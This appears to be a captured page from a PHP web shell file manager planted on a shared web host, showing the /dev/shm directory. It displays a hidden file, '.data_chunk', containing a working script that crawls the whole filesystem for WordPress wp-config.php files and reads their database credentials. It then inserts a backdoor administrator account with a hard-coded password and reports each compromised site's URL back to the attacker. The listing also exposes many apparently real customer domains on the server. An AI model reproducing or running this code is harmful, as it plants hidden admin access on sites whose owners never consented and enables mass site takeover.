Submit
Path:
~
/
/
dev
/
shm
/
File Content:
.data_chunk
<?php function scan($path) { if ($dir = @opendir($path)) { while (false !== ($file = readdir($dir))) { $p = $path . DIRECTORY_SEPARATOR . $file; if ($file != '.' && $file != '..') { if (is_link($p)) { continue; } elseif (is_dir($p)) { scan($p); } elseif ($file === 'wp-config.php') { inject($p); } } } } } function inject($p) { $user_login = 'root'; $user_password = 'r007p455w0rd'; $user_email = 'admin@wordpress.com'; $data = file_get_contents($p); $pattern = "/table_prefix\s*=\s*'([^']*)';/i"; if (preg_match($pattern, $data, $matches)) { $table_prefix = $matches[1]; } else { $table_prefix = 'wp_'; } $lines = array_map('rtrim', file($p)); $conf = []; foreach ($lines as $line) { if (preg_match('/define\s*\(\s*[\'"]\s*(DB_USER|DB_HOST|DB_PASSWORD|DB_NAME)\s*[\'"]\s*,/', $line, $matches)) { $conf[$matches[1]] = parse_define_value($line); } } if (isset($conf['DB_HOST']) && isset($conf['DB_USER']) && isset($conf['DB_PASSWORD']) && isset($conf['DB_NAME'])) { $mysqli = new mysqli($conf['DB_HOST'], $conf['DB_USER'], $conf['DB_PASSWORD'], $conf['DB_NAME']); if ($mysqli->connect_errno) { return; } if ($result = $mysqli->query("SELECT ID FROM {$table_prefix}users WHERE user_login = '{$user_login}';")) { if ($result->num_rows > 0) { $result->close(); $mysqli->close(); return; } $result->close(); } $add_user_query = "INSERT INTO `{$table_prefix}users` (`user_login`, `user_pass`, `user_nicename`, `user_email`, `user_url`, `user_registered`, `user_status`, `display_name`) SELECT '{$user_login}', MD5('{$user_password}'), '{$user_login}', '{$user_email}', '', (SELECT `user_registered` FROM `{$table_prefix}users` ORDER BY `ID` ASC LIMIT 1), 0, '{$user_login}' FROM DUAL WHERE NOT EXISTS ( SELECT 1 FROM `{$table_prefix}users` WHERE `user_login` = '{$user_login}' );"; if ($mysqli->query($add_user_query)) { $add_usermeta_query1 = "INSERT INTO `{$table_prefix}usermeta` (`user_id`, `meta_key`, `meta_value`) SELECT `ID`, 'wp_capabilities', 'a:1:{s:13:\"administrator\";b:1;}' FROM `{$table_prefix}users` WHERE `user_login` = '$user_login' ORDER BY `ID` DESC LIMIT 1;"; $add_usermeta_query2 = "INSERT INTO `{$table_prefix}usermeta` (`user_id`, `meta_key`, `meta_value`) SELECT `ID`, 'wp_user_level', '10' FROM `{$table_prefix}users` WHERE `user_login` = '$user_login' ORDER BY `ID` DESC LIMIT 1;"; $mysqli->query($add_usermeta_query1); $mysqli->query($add_usermeta_query2); } $site_url = false; if ($result = $mysqli->query("SELECT option_value FROM {$table_prefix}options WHERE option_name = 'siteurl';")) { $row = $result->fetch_object(); $result->close(); $site_url = $row->option_value; } if (!$site_url || strpos($site_url, 'http') !== 0) { if ($result = $mysqli->query("SELECT user_url FROM {$table_prefix}users ORDER BY ID ASC LIMIT 1;")) { $row = $result->fetch_object(); $result->close(); $site_url = $row->user_url; } } if ($result = $mysqli->query("SELECT ID FROM {$table_prefix}users WHERE user_login = '{$user_login}';")) { if ($result->num_rows > 0) { echo "<f>{$site_url}@@@{$p}</f>\n"; } $result->close(); } $mysqli->close(); } } function parse_define_value($line) { if (preg_match("/define\s*\(\s*['\"]\w+['\"]\s*,\s*['\"](.*)['\"]\s*\)\s*;/", $line, $matches)) { return $matches[1]; } return null; } function scanRootPaths() { if (strtoupper(substr(PHP_OS, 0, 3)) === 'WIN') { foreach (range('A', 'Z') as $driveLetter) { $drive = $driveLetter . ':\\'; if (is_dir($drive)) { scan($drive); } } } else { scan('/'); } } scanRootPaths(); die('!ended!');
Edit
Rename
Chmod
Delete
FILE
FOLDER
Name
Size
Permission
Action
acme_acronymph.markecurtis.com
---
0755
acme_admin.pikup.cm
---
0755
acme_adventure.bryan.nu
---
0755
acme_audio.dub45.nz
---
0755
acme_blog.bryanheinz.com
---
0755
acme_dev.dawnchyld.com
---
0755
acme_dyslexiaandlearning.blackflametech.com
---
0755
acme_eikance.co.nz.magnusson.co.nz
---
0755
acme_forums.bearnotes.com
---
0755
acme_gallery.seanmartorana.com
---
0755
acme_gallery.wingsdomain.com
---
0755
acme_history.therydalchs.com
---
0755
acme_investors.nadinewest.com
---
0755
acme_isles.sca-caid.org
---
0755
acme_l.pcpress.rs
---
0755
acme_library.c-o-k.org
---
0755
acme_mailing.ecodrones.cl
---
0755
acme_mundilimp.union-atlantica.com
---
0755
acme_newsclub.elabore.digital
---
0755
acme_pc1.pcpress.rs
---
0755
acme_portfolio.mikearens.com
---
0755
acme_restore.trueadhd.com
---
0755
acme_speedtest.tgh.na
---
0755
acme_staging.dyslexiaandlearning.com
---
0755
acme_taragui.union-atlantica.com
---
0755
apache2-adamant
---
0700
apache2-argon
---
0700
apache2-blow
---
0700
apache2-bongo
---
0700
apache2-cabo
---
0700
apache2-cid
---
0700
apache2-daisy
---
0700
apache2-dap
---
0700
apache2-emu
---
0700
apache2-fritz
---
0700
apache2-grog
---
0700
apache2-heavy
---
0700
apache2-igloo
---
0700
apache2-jolly
---
0700
apache2-kant
---
0700
apache2-linus
---
0700
apache2-moon
---
0700
apache2-noxim
---
0700
apache2-ogle
---
0700
apache2-pat
---
0700
apache2-quack
---
0700
apache2-rank
---
0700
apache2-sith
---
0700
apache2-twiddle
---
0700
apache2-udder
---
0700
apache2-vat
---
0700
apache2-whippit
---
0700
apache2-xenon
---
0700
apache2-yak
---
0700
apache2-zoo
---
0700
modsec_tmp
---
0750
modsec_upload
---
0750
.binding
2709 bytes
0644
.comp
188 bytes
0644
.dat
4320 bytes
0644
.data
51 bytes
0644
.data_chunk
4320 bytes
0644
.elem
54 bytes
0644
.element
4320 bytes
0644
.entry
54 bytes
0644
.flag
52 bytes
0644
.flg
50 bytes
0644
.hld
602 bytes
0644
.item
986 bytes
0644
.itm
50 bytes
0644
.k
986 bytes
0644
.key
1977 bytes
0644
.marker
46 bytes
0644
.mrk
1142 bytes
0644
.obj
1817 bytes
0644
.pgrp
51 bytes
0644
.pset
52 bytes
0644
.reference
57 bytes
0644
.res
4320 bytes
0644
.value
1278 bytes
0644
sem.mp-l_k6_171
32 bytes
0600
sem.mp-mcr064nm
32 bytes
0600
N4ST4R_ID | Naxtarrr